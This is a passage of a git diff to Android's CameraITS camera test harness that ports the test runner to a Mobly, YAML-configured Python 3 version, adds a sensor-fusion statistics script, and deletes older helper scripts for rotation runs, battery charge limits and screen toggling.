-                out_path = os.path.join(topdir, id_combo_string, scene+'.jpg')
-                out_arg = 'out=' + out_path
-                if ((scene == 'sensor_fusion' and rot_rig_id) or
-                            skip_scene_validation):
-                    validate_switch = False
-                cmd = None
-                if auto_scene_switch:
-                    if (not merge_result_switch or
-                            (merge_result_switch and id_combo_string == '0')):
-                        scene_arg = 'scene=' + scene
-                        fov_arg = 'fov=' + camera_fov
-                        cmd = ['python',
-                               os.path.join(os.getcwd(), 'tools/load_scene.py'),
-                               scene_arg, chart_dist_arg, fov_arg, screen_id_arg,
-                               device_id_arg, camera_id_arg]
-                    else:
-                        time.sleep(CHART_DELAY)
-                else:
-                    # Skip scene validation under certain conditions
-                    if validate_switch and not merge_result_switch:
-                        scene_arg = 'scene=' + SCENE_REQ[scene]
-                        extra_args = SCENE_EXTRA_ARGS.get(scene, [])
-                        cmd = ['python',
-                               os.path.join(os.getcwd(),
-                                            'tools/validate_scene.py'),
-                               camera_id_arg, out_arg,
-                               scene_arg, device_id_arg] + extra_args
-                if cmd is not None:
-                    valid_scene_code = subprocess.call(cmd, cwd=topdir)
-                    assert valid_scene_code == 0
-            print 'Start running ITS on camera %s, %s' % (
-                    id_combo_string, scene)
-            # Extract chart from scene for scene3 once up front
-            chart_loc_arg = ''
-            chart_height = its.cv2image.CHART_HEIGHT
-            if scene == 'scene3':
-                chart_height *= its.cv2image.calc_chart_scaling(
-                        chart_distance, camera_fov)
-                chart = its.cv2image.Chart(SCENE3_FILE, chart_height,
-                                           chart_distance,
-                                           its.cv2image.CHART_SCALE_START,
-                                           its.cv2image.CHART_SCALE_STOP,
-                                           its.cv2image.CHART_SCALE_STEP,
-                                           id_combo.id)
-                chart_loc_arg = 'chart_loc=%.2f,%.2f,%.2f,%.2f,%.3f' % (
-                        chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm,
-                        chart.scale)
-            if scene == 'scene_change' and not auto_scene_switch:
-                print '\nWave hand over camera to create scene change'
-            # Run each test, capturing stdout and stderr.
-            for (testname, testpath) in tests:
-                # Only pick predefined tests for hidden physical camera
-                if has_hidden_sub_camera and \
-                        testname not in HIDDEN_PHYSICAL_CAMERA_TESTS[scene]:
-                    numskip += 1
-                    continue
-                if auto_scene_switch:
-                    if merge_result_switch and id_combo_string == '0':
-                        # Send an input event to keep the screen not dimmed.
-                        # Since we are not using camera of chart screen, FOCUS event
-                        # should do nothing but keep the screen from dimming.
-                        # The "sleep after x minutes of inactivity" display setting
-                        # determines how long this command can keep screen bright.
-                        # Setting it to something like 30 minutes should be enough.
-                        cmd = ('adb -s %s shell input keyevent FOCUS'
-                               % chart_host_id)
-                        subprocess.call(cmd.split())
-                t0 = time.time()
-                t_rotate = 0.0  # time in seconds
-                for num_try in range(NUM_TRYS):
-                    outdir = os.path.join(topdir, id_combo_string, scene)
-                    outpath = os.path.join(outdir, testname+'_stdout.txt')
-                    errpath = os.path.join(outdir, testname+'_stderr.txt')
-                    if scene == 'sensor_fusion':
-                        # determine if you need to rotate for specific test
-                        rotation_props = run_rotations(id_combo.id, testname)
-                        if rotation_props['flag']:
-                            if rot_rig_id:
-                                print 'Rotating phone w/ rig %s' % rot_rig_id
-                                rig = 'python tools/rotation_rig.py rotator=%s num_rotations=%s' % (
-                                        rot_rig_id, rotation_props['runs'])
-                                subprocess.Popen(rig.split())
-                                t_rotate = (rotation_props['runs'] *
-                                            len(rot.ARDUINO_ANGLES) *
-                                            rot.ARDUINO_MOVE_TIME) + 2  # 2s slop
-                            else:
-                                print 'Rotate phone 15s as shown in SensorFusion.pdf'
-                        else:
-                            test_code = skip_code
-                    if skip_code is not SKIP_RET_CODE:
-                        cmd = ['python', os.path.join(os.getcwd(), testpath)]
-                        cmd += one_camera_argv + ["camera="+id_combo_string] + [chart_loc_arg]
-                        cmd += [chart_dist_arg]
-                        with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
-                            test_code = run_subprocess_with_timeout(
-                                cmd, fout, ferr, outdir)
-                    if test_code == 0 or test_code == SKIP_RET_CODE:
-                        break
-                    else:
-                        socket_fail = evaluate_socket_failure(errpath)
-                        if socket_fail or test_code == PROC_TIMEOUT_CODE:
-                            if num_try != NUM_TRYS-1:
-                                print ' Retry %s/%s' % (scene, testname)
-                            else:
-                                break
-                        else:
-                            break
-                t_test = time.time() - t0
-
-                # define rotator_type
-                rotator_type = 'canakit'
-                if rot_rig_id and 'arduino' in rot_rig_id.split(':'):
-                    rotator_type = 'arduino'
-                    # if arduino, wait for rotations to stop
-                    if t_rotate > t_test:
-                        time.sleep(t_rotate - t_test)
-
-                test_failed = False
-                if test_code == 0:
-                    retstr = "PASS "
-                    numpass += 1
-                elif test_code == SKIP_RET_CODE:
-                    retstr = "SKIP "
-                    numskip += 1
-                elif test_code != 0 and testname in not_yet_mandated[scene]:
-                    retstr = "FAIL*"
-                    num_not_mandated_fail += 1
-                else:
-                    retstr = "FAIL "
-                    numfail += 1
-                    test_failed = True
-
-                msg = '%s %s/%s' % (retstr, scene, testname)
-                if rotator_type == 'arduino':
-                    msg += ' [%.1fs]' % t_rotate
-                else:
-                    msg += ' [%.1fs]' % t_test
-                print msg
-                its.device.adb_log(device_id, msg)
-                msg_short = '%s %s [%.1fs]' % (retstr, testname, t_test)
-                if test_failed:
-                    summary += msg_short + "\n"
-
-            # unit is millisecond for execution time record in CtsVerifier
-            scene_end_time = int(round(time.time() * 1000))
-
-            if numskip > 0:
-                skipstr = ", %d test%s skipped" % (
-                    numskip, "s" if numskip > 1 else "")
-            else:
-                skipstr = ""
-
-            test_result = "\n%d / %d tests passed (%.1f%%)%s" % (
-                numpass + num_not_mandated_fail, len(tests) - numskip,
-                100.0 * float(numpass + num_not_mandated_fail) /
-                (len(tests) - numskip)
-                if len(tests) != numskip else 100.0, skipstr)
-            print test_result
-
-            if num_not_mandated_fail > 0:
-                msg = "(*) tests are not yet mandated"
-                print msg
-
-            tot_pass += numpass
-            print "%s compatibility score: %.f/100\n" % (
-                    scene, 100.0 * numpass / len(tests))
-
-            summary_path = os.path.join(topdir, id_combo_string, scene, "summary.txt")
-            with open(summary_path, "w") as f:
-                f.write(summary)
-
-            passed = numfail == 0
-            results[scene][result_key] = (ItsSession.RESULT_PASS if passed
-                                          else ItsSession.RESULT_FAIL)
-            results[scene][ItsSession.SUMMARY_KEY] = summary_path
-            results[scene][ItsSession.START_TIME_KEY] = scene_start_time
-            results[scene][ItsSession.END_TIME_KEY] = scene_end_time
-
-        if tot_tests:
-            print "Compatibility Score: %.f/100" % (100.0 * tot_pass / len(tot_tests))
+      scene_test_list = []
+      config_file_contents['TestBeds'][0]['TestParams'] = test_params_content
+      # Add the MoblyParams to config.yml file with the path to store camera_id
+      # test results. This is a separate dict other than TestBeds.
+      mobly_params_dict = {
+          'MoblyParams': {
+              'LogPath': mobly_scene_output_logs_path
+          }
+      }
+      config_file_contents.update(mobly_params_dict)
+      logging.debug('Final config file contents: %s', config_file_contents)
+      new_yml_file_name = get_updated_yml_file(config_file_contents)
+      logging.info('Using %s as temporary config yml file', new_yml_file_name)
+      if camera_id.rfind(its_session_utils.SUB_CAMERA_SEPARATOR) == -1:
+        scene_dir = os.listdir(
+            os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s))
+        for file_name in scene_dir:
+          if file_name.endswith('.py') and 'test' in file_name:
+            scene_test_list.append(file_name)
+        if _REPEATED_TESTS[s]:
+          for t in _REPEATED_TESTS[s]:
+            scene_test_list.append((os.path.join('tests', t[0], t[1] + '.py')))
+      else:  # sub-camera
+        if SUB_CAMERA_TESTS.get(s):
+          scene_test_list = [f'{test}.py' for test in SUB_CAMERA_TESTS[s]]
         else:
-            print "Compatibility Score: 0/100"
+          scene_test_list = []
+      scene_test_list.sort()
 
-        msg = "Reporting ITS result to CtsVerifier"
-        print msg
-        its.device.adb_log(device_id, msg)
-        if merge_result_switch:
-            # results are modified by report_result
-            results_backup = copy.deepcopy(results)
-            its.device.report_result(result_device_id, id_combo_string, results_backup)
-
-        # Report hidden_physical_id results as well.
-        its.device.report_result(device_id, id_combo_string, results)
-
-    if auto_scene_switch:
-        if merge_result_switch:
-            print 'Skip shutting down chart screen'
+      # Run tests for scene
+      logging.info('Running tests for %s with camera %s', s, camera_id)
+      num_pass = 0
+      num_skip = 0
+      num_not_mandated_fail = 0
+      num_fail = 0
+      for test in scene_test_list:
+        # Handle repeated test
+        if 'tests/' in test:
+          cmd = [
+              'python3',
+              os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c',
+              '%s' % new_yml_file_name
+          ]
         else:
-            print 'Shutting down chart screen: ', chart_host_id
-            screen_id_arg = ('screen=%s' % chart_host_id)
-            cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
-                                          'toggle_screen.py'), screen_id_arg,
-                                          'state=OFF']
-            screen_off_code = subprocess.call(cmd)
-            assert screen_off_code == 0
+          cmd = [
+              'python3',
+              os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test),
+              '-c',
+              '%s' % new_yml_file_name
+          ]
+        # pylint: disable=subprocess-run-check
+        with open(MOBLY_TEST_SUMMARY_TXT_FILE, 'w') as fp:
+          output = subprocess.run(cmd, stdout=fp)
+        # pylint: enable=subprocess-run-check
 
-            print 'Shutting down DUT screen: ', device_id
-            screen_id_arg = ('screen=%s' % device_id)
-            cmd = ['python', os.path.join(os.environ['CAMERA_ITS_TOP'], 'tools',
-                                          'toggle_screen.py'), screen_id_arg,
-                                          'state=OFF']
-            screen_off_code = subprocess.call(cmd)
-            assert screen_off_code == 0
+        # Parse mobly info output logs to determine skip and not_yet_mandated
+        # tests.
+        with open(MOBLY_TEST_SUMMARY_TXT_FILE, 'r') as file:
+          test_code = output.returncode
+          test_failed = False
+          test_skipped = False
+          test_not_yet_mandated = False
+          line = file.read()
+          if 'Test skipped' in line:
+            return_string = 'SKIP '
+            num_skip += 1
+            test_skipped = True
 
-    print "ITS tests finished. Please go back to CtsVerifier and proceed"
+          if 'Not yet mandated test' in line:
+            return_string = 'FAIL*'
+            num_not_mandated_fail += 1
+            test_not_yet_mandated = True
+
+          if test_code == 0 and not test_skipped:
+            return_string = 'PASS '
+            num_pass += 1
+
+          if test_code == 1 and not test_not_yet_mandated:
+            return_string = 'FAIL '
+            num_fail += 1
+            test_failed = True
+
+          os.remove(MOBLY_TEST_SUMMARY_TXT_FILE)
+          logging.info('%s %s/%s', return_string, s, test)
+          test_name = test.split('/')[-1].split('.')[0]
+          results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()})
+          msg_short = '%s %s' % (return_string, test)
+          scene_test_summary += msg_short + '\n'
+
+      # unit is millisecond for execution time record in CtsVerifier
+      scene_end_time = int(round(time.time() * 1000))
+      skip_string = ''
+      tot_tests = len(scene_test_list)
+      if num_skip > 0:
+        skipstr = f",{num_skip} test{'s' if num_skip > 1 else ''} skipped"
+      test_result = '%d / %d tests passed (%.1f%%)%s' % (
+          num_pass + num_not_mandated_fail, len(scene_test_list) - num_skip,
+          100.0 * float(num_pass + num_not_mandated_fail) /
+          (len(scene_test_list) - num_skip)
+          if len(scene_test_list) != num_skip else 100.0, skip_string)
+      logging.info(test_result)
+      if num_not_mandated_fail > 0:
+        logging.info('(*) %s not_yet_mandated tests failed',
+                     num_not_mandated_fail)
+
+      tot_pass += num_pass
+      logging.info('scene tests: %s, Total tests passed: %s', tot_tests,
+                   tot_pass)
+      if tot_tests > 0:
+        logging.info('%s compatibility score: %.f/100\n',
+                     s, 100 * num_pass / tot_tests)
+        scene_test_summary_path = os.path.join(mobly_scene_output_logs_path,
+                                               'scene_test_summary.txt')
+        with open(scene_test_summary_path, 'w') as f:
+          f.write(scene_test_summary)
+        results[s][RESULT_KEY] = (RESULT_PASS if num_fail == 0 else RESULT_FAIL)
+        results[s][SUMMARY_KEY] = scene_test_summary_path
+        results[s][TIME_KEY_START] = scene_start_time
+        results[s][TIME_KEY_END] = scene_end_time
+      else:
+        logging.info('%s compatibility score: 0/100\n')
+
+      # Delete temporary yml file after scene run.
+      new_yaml_file_path = os.path.join(YAML_FILE_DIR, new_yml_file_name)
+      os.remove(new_yaml_file_path)
+
+    logging.info('Reporting ITS result to CtsVerifier')
+    report_result(device_id, camera_id, results)
+  logging.info('Test execution completed.')
 
 if __name__ == '__main__':
-    main()
+  main()
diff --git a/apps/CameraITS/tools/run_sensor_fusion.py b/apps/CameraITS/tools/run_sensor_fusion.py
new file mode 100644
index 0000000..c000562
--- /dev/null
+++ b/apps/CameraITS/tools/run_sensor_fusion.py
@@ -0,0 +1,200 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+import os.path
+import shutil
+import subprocess
+import sys
+import tempfile
+
+import numpy as np
+
+import run_all_tests  # from same tools directory as run_sensor_fusion.py
+
+_CORR_DIST_THRESH_MAX = 0.005  # must match value in test_sensor_fusion.py
+_NUM_RUNS = 1
+_TEST_BED_SENSOR_FUSION = 'TEST_BED_SENSOR_FUSION'
+_TIME_SHIFT_MATCH = 'Best correlation of '
+
+
+def find_time_shift(out_file_path):
+  """Search through a test run's test_log.DEBUG for the best time shift.
+
+  Args:
+    out_file_path: File path for stdout logs to search through
+
+  Returns:
+    Float num of best time shift, if one is found. Otherwise, None.
+  """
+  line = find_matching_line(out_file_path, _TIME_SHIFT_MATCH)
+  if line is None:
+    return None
+  else:
+    words = line.split(' ')
+    time_shift = float(words[-1][:-3])  # strip off 'ms'
+    fit_corr = float(words[-5])
+    return {'time_shift': time_shift, 'corr': fit_corr}
+
+
+def find_matching_line(file_path, match_string):
+  """Search each line in the file at 'file_path' for match_string.
+
+  Args:
+      file_path: File path for file being searched
+      match_string: Sting used to match against lines
+
+  Returns:
+      The first matching line. If none exists, returns None.
+  """
+  with open(file_path) as f:
+    for line in f:
+      if match_string in line:
+        return line
+  return None
+
+
+def main():
+  """Run the sensor_fusion test for stastical purposes.
+
+    Script should be run from the top-level CameraITS directory.
+    All parameters expect 'num_runs' are defined in config.yml.
+    num_runs is defined at run time with 'num_runs=<int>'
+    'camera_id' can be over-written at command line to allow different
+    camera_ids facing the same direction to be tested.
+
+    ie. python tools/run_all_tests.py num_runs=10  # n=10 w/ config.yml cam
+        python tools/run_all_tests.py camera=0 num_runs=10  # n=10 w/ cam[0]
+        python tools/run_all_tests.py camera=0.4 num_runs=10 # n=10 w/ cam[0.4]
+
+    Command line arguments:
+        camera_id: camera_id or list of camera_ids.
+        num_runs: integer number of runs to get statistical values
+
+    All other config values are stored in config.yml file.
+  """
+  logging.basicConfig(level=logging.INFO)
+  # Make output directories to hold the generated files.
+  topdir = tempfile.mkdtemp(prefix='CameraITS_')
+  subprocess.call(['chmod', 'g+rx', topdir])
+
+  camera_id_combos = []
+
+  # Override camera with cmd line values if available
+  num_runs = _NUM_RUNS
+  get_argv_vals = lambda x: x.split('=')[1]
+  for s in list(sys.argv[1:]):
+    if 'camera=' in s:
+      camera_id_combos = str(get_argv_vals(s)).split(',')
+    elif 'num_runs=' in s:
+      num_runs = int(get_argv_vals(s))
+
+  # Read config file and extract relevant TestBed
+  config_file_contents = run_all_tests.get_config_file_contents()
+  for i in config_file_contents['TestBeds']:
+    if i['Name'] != _TEST_BED_SENSOR_FUSION:
+      config_file_contents['TestBeds'].remove(i)
+
+  # Get test parameters from config file
+  test_params_content = run_all_tests.get_test_params(config_file_contents)
+  if not camera_id_combos:
+    camera_id_combos = test_params_content['camera'].split(',')
+  debug = test_params_content['debug_mode']
+  fps = test_params_content['fps']
+  img_size = test_params_content['img_size']
+
+  # Get dut id
+  device_id = run_all_tests.get_device_serial_number(
+      'dut', config_file_contents)
+
+  # Log run info
+  logging.info('Running sensor_fusion on device: %s, camera: %s',
+               device_id, camera_id_combos)
+  logging.info('Saving output files to: %s', topdir)
+
+  for camera_id in camera_id_combos:
+    time_shifts = []
+    # A subdir in topdir will be created for each camera_id.
+    test_params_content['camera'] = camera_id
+    test_params_content['scene'] = 'sensor_fusion'
+    config_file_contents['TestBeds'][0]['TestParams'] = test_params_content
+    os.mkdir(os.path.join(topdir, camera_id))
+
+    # Add the MoblyParams to config.yml file store camera_id test results.
+    mobly_output_logs_path = os.path.join(topdir, camera_id)
+    mobly_scene_output_logs_path = os.path.join(
+        mobly_output_logs_path, 'sensor_fusion')
+    mobly_params_dict = {
+        'MoblyParams': {
+            'LogPath': mobly_scene_output_logs_path
+        }
+    }
+    config_file_contents.update(mobly_params_dict)
+    logging.debug('Config file contents: %s', config_file_contents)
+    tmp_yml_file_name = run_all_tests.get_updated_yml_file(config_file_contents)
+    logging.info('Using %s as temporary config yml file', tmp_yml_file_name)
+
+    # Run tests
+    logging.info('%d runs for test_sensor_fusion with camera %s',
+                 num_runs, camera_id)
+    logging.info('FPS: %d, img size: %s', fps, img_size)
+    for _ in range(num_runs):
+      cmd = ['python',
+             os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests',
+                          'sensor_fusion', 'test_sensor_fusion.py'),
+             '-c',
+             f'{tmp_yml_file_name}'
+             ]
+      # pylint: disable=subprocess-run-check
+      with open(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE, 'w') as fp:
+        output = subprocess.run(cmd, stdout=fp)
+      # pylint: enable=subprocess-run-check
+
+      with open(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE, 'r') as _:
+        if output.returncode == 0:
+          return_string = 'PASS'
+        else:
+          return_string = 'FAIL'
+
+        os.remove(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE)
+        file_name = os.path.join(
+            mobly_scene_output_logs_path, _TEST_BED_SENSOR_FUSION, 'latest',
+            'test_log.DEBUG')
+        time_shift = find_time_shift(file_name)
+        logging.info('%s time_shift: %.4f ms, corr: %.6f', return_string,
+                     time_shift['time_shift'], time_shift['corr'])
+        if time_shift['corr'] < _CORR_DIST_THRESH_MAX:
+          time_shifts.append(time_shift)
+        else:
+          logging.info('Correlation distance too large. Not used for stats.')
+
+    # Summarize results with stats
+    times = [t['time_shift'] for t in time_shifts]
+    logging.info('runs: %d, time_shift mean: %.4f, sigma: %.4f',
+                 len(times), np.mean(times), np.std(times))
+
+    # Delete temporary yml file after run.
+    tmp_yml_file = os.path.join(run_all_tests.YAML_FILE_DIR, tmp_yml_file_name)
+    os.remove(tmp_yml_file)
+
+  # Delete temporary image files after run.
+  if debug == 'False':
+    logging.info('Removing tmp dir %s to save space.', topdir)
+    shutil.rmtree(topdir)
+
+  logging.info('Test completed.')
+if __name__ == '__main__':
+  main()
+
diff --git a/apps/CameraITS/tools/run_sensor_fusion_box.py b/apps/CameraITS/tools/run_sensor_fusion_box.py
deleted file mode 100644
index ff652d7..0000000
--- a/apps/CameraITS/tools/run_sensor_fusion_box.py
+++ /dev/null
@@ -1,245 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os
-import os.path
-import re
-import subprocess
-import sys
-import tempfile
-import time
-
-import its.device
-import numpy
-import rotation_rig as rot
-
-SCENE_NAME = 'sensor_fusion'
-SKIP_RET_CODE = 101
-TEST_NAME = 'test_sensor_fusion'
-TEST_DIR = os.path.join(os.getcwd(), 'tests', SCENE_NAME)
-W, H = 640, 480
-
-# For finding best correlation shifts from test output logs.
-SHIFT_RE = re.compile('^Best correlation of [0-9.]+ at shift of [-0-9.]+ms$')
-# For finding lines that indicate socket issues in failed test runs.
-SOCKET_FAIL_RE = re.compile(
-        r'.*((socket\.(error|timeout))|(Problem with socket)).*')
-
-FPS = 30
-TEST_LENGTH = 7  # seconds
-
-
-def main():
-    """Run test_sensor_fusion NUM_RUNS times.
-
-    Save intermediate files and produce a summary/report of the results.
-
-    Script should be run from the top-level CameraITS directory.
-
-    Command line arguments:
-        camera:      Camera(s) to be tested. Use comma to separate multiple
-                     camera Ids. Ex: 'camera=0,1' or 'camera=1'
-        device:      Device id for adb
-        fps:         FPS to capture with during the test
-        img_size:    Comma-separated dimensions of captured images (defaults to
-                     640x480). Ex: 'img_size=<width>,<height>'
-        num_runs:    Number of times to repeat the test
-        rotator:     String for rotator id in for vid:pid:ch
-        test_length: How long the test should run for (in seconds)
-        tmp_dir:     Location of temp directory for output files
-    """
-
-    camera_id = '0'
-    fps = str(FPS)
-    img_size = '%s,%s' % (W, H)
-    num_runs = 1
-    rotator_ids = 'default'
-    test_length = str(TEST_LENGTH)
-    tmp_dir = None
-    for s in sys.argv[1:]:
-        if s[:7] == 'camera=' and len(s) > 7:
-            camera_id = s[7:]
-        if s[:4] == 'fps=' and len(s) > 4:
-            fps = s[4:]
-        elif s[:9] == 'img_size=' and len(s) > 9:
-            img_size = s[9:]
-        elif s[:9] == 'num_runs=' and len(s) > 9:
-            num_runs = int(s[9:])
-        elif s[:8] == 'rotator=' and len(s) > 8:
-            rotator_ids = s[8:]
-        elif s[:12] == 'test_length=' and len(s) > 12:
-            test_length = s[12:]
-        elif s[:8] == 'tmp_dir=' and len(s) > 8:
-            tmp_dir = s[8:]
-
-    # Make output directories to hold the generated files.
-    tmpdir = tempfile.mkdtemp(dir=tmp_dir)
-    print 'Saving output files to:', tmpdir, '\n'
-
-    device_id = its.device.get_device_id()
-    device_id_arg = 'device=' + device_id
-    print 'Testing device ' + device_id
-
-    # ensure camera_id is valid
-    avail_camera_ids = find_avail_camera_ids()
-    if camera_id not in avail_camera_ids:
-        print 'Need to specify valid camera_id in ', avail_camera_ids
-        sys.exit()
-
-    camera_id_arg = 'camera=' + camera_id
-    if rotator_ids:
-        rotator_id_arg = 'rotator=' + rotator_ids
-    print 'Preparing to run sensor_fusion on camera', camera_id
-
-    img_size_arg = 'img_size=' + img_size
-    print 'Image dimensions are ' + 'x'.join(img_size.split(','))
-
-    fps_arg = 'fps=' + fps
-    test_length_arg = 'test_length=' + test_length
-    print 'Capturing at %sfps' % fps
-
-    os.mkdir(os.path.join(tmpdir, camera_id))
-
-    # Run test "num_runs" times, capturing stdout and stderr.
-    num_pass = 0
-    num_fail = 0
-    num_skip = 0
-    num_socket_fails = 0
-    num_non_socket_fails = 0
-    shift_list = []
-    for i in range(num_runs):
-        os.mkdir(os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i)))
-        cmd = 'python tools/rotation_rig.py rotator=%s' % rotator_ids
-        subprocess.Popen(cmd.split())
-        cmd = ['python', os.path.join(TEST_DIR, TEST_NAME+'.py'),
-               device_id_arg, camera_id_arg, rotator_id_arg, img_size_arg,
-               fps_arg, test_length_arg]
-        outdir = os.path.join(tmpdir, camera_id, SCENE_NAME+'_'+str(i))
-        outpath = os.path.join(outdir, TEST_NAME+'_stdout.txt')
-        errpath = os.path.join(outdir, TEST_NAME+'_stderr.txt')
-        t0 = time.time()
-        with open(outpath, 'w') as fout, open(errpath, 'w') as ferr:
-            retcode = subprocess.call(
-                    cmd, stderr=ferr, stdout=fout, cwd=outdir)
-
-        t_test = time.time() - t0
-
-        # wait for rotations to stop
-        t_rotate = (rot.NUM_ROTATIONS * len(rot.ARDUINO_ANGLES) *
-                    rot.ARDUINO_MOVE_TIME) + 2  # 2s slop
-        if t_rotate > t_test:
-            time.sleep(t_rotate - t_test)
-
-        if retcode == 0:
-            retstr = 'PASS '
-            time_shift = find_time_shift(outpath)
-            shift_list.append(time_shift)
-            num_pass += 1
-        elif retcode == SKIP_RET_CODE:
-            retstr = 'SKIP '
-            num_skip += 1
-        else:
-            retstr = 'FAIL '
-            time_shift = find_time_shift(outpath)
-            if time_shift is None:
-                if is_socket_fail(errpath):
-                    num_socket_fails += 1
-                else:
-                    num_non_socket_fails += 1
-            else:
-                shift_list.append(time_shift)
-            num_fail += 1
-        msg = '%s %s/%s [%.1fs]' % (retstr, SCENE_NAME, TEST_NAME, t_test)
-        print msg
-
-    if num_pass == 1:
-        print 'Best shift is %sms' % shift_list[0]
-    elif num_pass > 1:
-        shift_arr = numpy.array(shift_list)
-        mean, std = numpy.mean(shift_arr), numpy.std(shift_arr)
-        print 'Best shift mean is %sms with std. dev. of %sms' % (mean, std)
-
-    pass_percentage = 100*float(num_pass+num_skip)/num_runs
-    print '%d / %d tests passed (%.1f%%)' % (num_pass+num_skip,
-                                             num_runs,
-                                             pass_percentage)
-
-    if num_socket_fails != 0:
-        print '%s failure(s) due to socket issues' % num_socket_fails
-    if num_non_socket_fails != 0:
-        print '%s non-socket failure(s)' % num_non_socket_fails
-
-
-def is_socket_fail(err_file_path):
-    """Search through a test run's stderr log for any mention of socket issues.
-
-    Args:
-        err_file_path: File path for stderr logs to search through
-
-    Returns:
-        True if the test run failed and it was due to socket issues. Otherwise,
-        False.
-    """
-    return find_matching_line(err_file_path, SOCKET_FAIL_RE) is not None
-
-
-def find_time_shift(out_file_path):
-    """Search through a test run's stdout log for the best time shift.
-
-    Args:
-        out_file_path: File path for stdout logs to search through
-
-    Returns:
-        The best time shift, if one is found. Otherwise, returns None.
-    """
-    line = find_matching_line(out_file_path, SHIFT_RE)
-    if line is None:
-        return None
-    else:
-        words = line.split(' ')
-        # Get last word and strip off 'ms\n' before converting to a float.
-        return float(words[-1][:-3])
-
-
-def find_matching_line(file_path, regex):
-    """Search each line in the file at 'file_path' for a line matching 'regex'.
-
-    Args:
-        file_path: File path for file being searched
-        regex:     Regex used to match against lines
-
-    Returns:
-        The first matching line. If none exists, returns None.
-    """
-    with open(file_path) as f:
-        for line in f:
-            if regex.match(line):
-                return line
-    return None
-
-
-def find_avail_camera_ids():
-    """Find the available camera IDs.
-
-    Returns:
-        list of available cameras
-    """
-    with its.device.ItsSession() as cam:
-        avail_camera_ids = cam.get_camera_ids()
-    return avail_camera_ids
-
-
-if __name__ == '__main__':
-    main()
-
diff --git a/apps/CameraITS/tools/set_charging_limits.py b/apps/CameraITS/tools/set_charging_limits.py
deleted file mode 100644
index 280e226..0000000
--- a/apps/CameraITS/tools/set_charging_limits.py
+++ /dev/null
@@ -1,78 +0,0 @@
-# Copyright 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import os
-import subprocess
-import sys
-
-CHARGE_PERCENT_START = 40
-CHARGE_PERCENT_STOP = 60
-
-
-def set_device_charging_limits(device_id):
-    """Set the start/stop percentages for charging.
-
-    This can keep battery from overcharging.
-    Args:
-        device_id:  str; device ID to set limits
-    """
-    print 'Rooting device %s' % device_id
-    cmd = ('adb -s %s root' % device_id)
-    process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE,
-                               stderr=subprocess.PIPE)
-    pout, perr = process.communicate()
-    if 'cannot' in pout.lower() or perr:  # 'cannot root' returns no error
-        print ' Warning: unable to root %s and set charging limits.' % device_id
-    else:
-        print ' Setting charging limits on %s' % device_id
-        cmd = ('adb -s %s shell setprop persist.vendor.charge.start.level %d' % (
-                device_id, CHARGE_PERCENT_START))
-        process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE,
-                                   stderr=subprocess.PIPE)
-        _, perr = process.communicate()
-        if not perr:
-            print ' Min: %d%%' % CHARGE_PERCENT_START
-        else:
-            print ' Warning: unable to set charging start limit.'
-
-        cmd = ('adb -s %s shell setprop persist.vendor.charge.stop.level %d' % (
-                device_id, CHARGE_PERCENT_STOP))
-        process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE,
-                                   stderr=subprocess.PIPE)
-        _, perr = process.communicate()
-        if not perr:
-            print ' Max: %d%%' % CHARGE_PERCENT_STOP
-        else:
-            print ' Warning: unable to set charging stop limit.'
-
-        print 'Unrooting device %s' % device_id
-        cmd = ('adb -s %s unroot' % device_id)
-        subprocess.call(cmd.split(), stdout=subprocess.PIPE)
-
-
-def main():
-    """Set charging limits for battery."""
-
-    device_id = None
-    for s in sys.argv[1:]:
-        if s[:7] == 'device=' and len(s) > 7:
-            device_id = s[7:]
-
-    if device_id:
-        set_device_charging_limits(device_id)
-    else:
-        print 'Usage: python %s device=$DEVICE_ID' % os.path.basename(__file__)
-
-if __name__ == '__main__':
-    main()
diff --git a/apps/CameraITS/tools/toggle_screen.py b/apps/CameraITS/tools/toggle_screen.py
deleted file mode 100644
index e91fadb..0000000
--- a/apps/CameraITS/tools/toggle_screen.py
+++ /dev/null
@@ -1,55 +0,0 @@
-# Copyright 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-import re
